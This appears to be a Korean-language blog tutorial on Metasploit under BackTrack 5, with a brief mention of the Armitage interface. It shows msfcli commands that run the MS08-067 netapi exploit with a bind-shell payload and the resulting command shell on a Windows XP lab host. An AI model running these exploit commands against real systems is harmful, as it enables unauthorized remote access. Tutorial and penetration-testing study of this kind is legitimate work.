ms_08_067_netapi가 RHOST, RPORT, SMBPIPE의 세가지 옵션을 필요로 함을 알 수 있다. 또한 옵션 p를 사용함으로 사용가능한 payload를 알 수 있다.

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P
[*] Please wait while we load the module tree...
Metasploit Basics 11
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection and spawn a command shell





필요한 옵션과 payload를 설정해 준 후 우리는 옵션 E를 통해서 msfcli를 실행할 수 있다.

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>


아래 윈도우 화면은 타겟 호스트이므로 이 exploit이 성공했음을 알 수 있다.

Armitage: armitage는 그래픽버전의 Metasploit라고 보면 된다. 물론 공짜이고 풍부한 기능과 편리성을 가지고 있다. 하지만 비록 armitage가 강력한 툴임은 사실이지만 컴멘드를 배우지 않고 클릭클릭만 배우다 보면 스크립트키디의 레벨을 벗어날 수 없으므로 armitage에 대한 설명은 하지 않고 넘어가겠다. 개인적으로도 nmap보다 zenmap사용후에 좀 더 기능을 효과적으로 사용하는데 한계를 느꼈다.

Armitage의 사용: armitage를 타이핑해주면 armitage가 실행된다. (물론 백트랙5에서 말이다.) armitage실행후 Attacks-Browser Attacks-windows 를 통해서 다양한 기능을 사용할 수 있음을 알 수 있다.

Posted by 구텐모르겐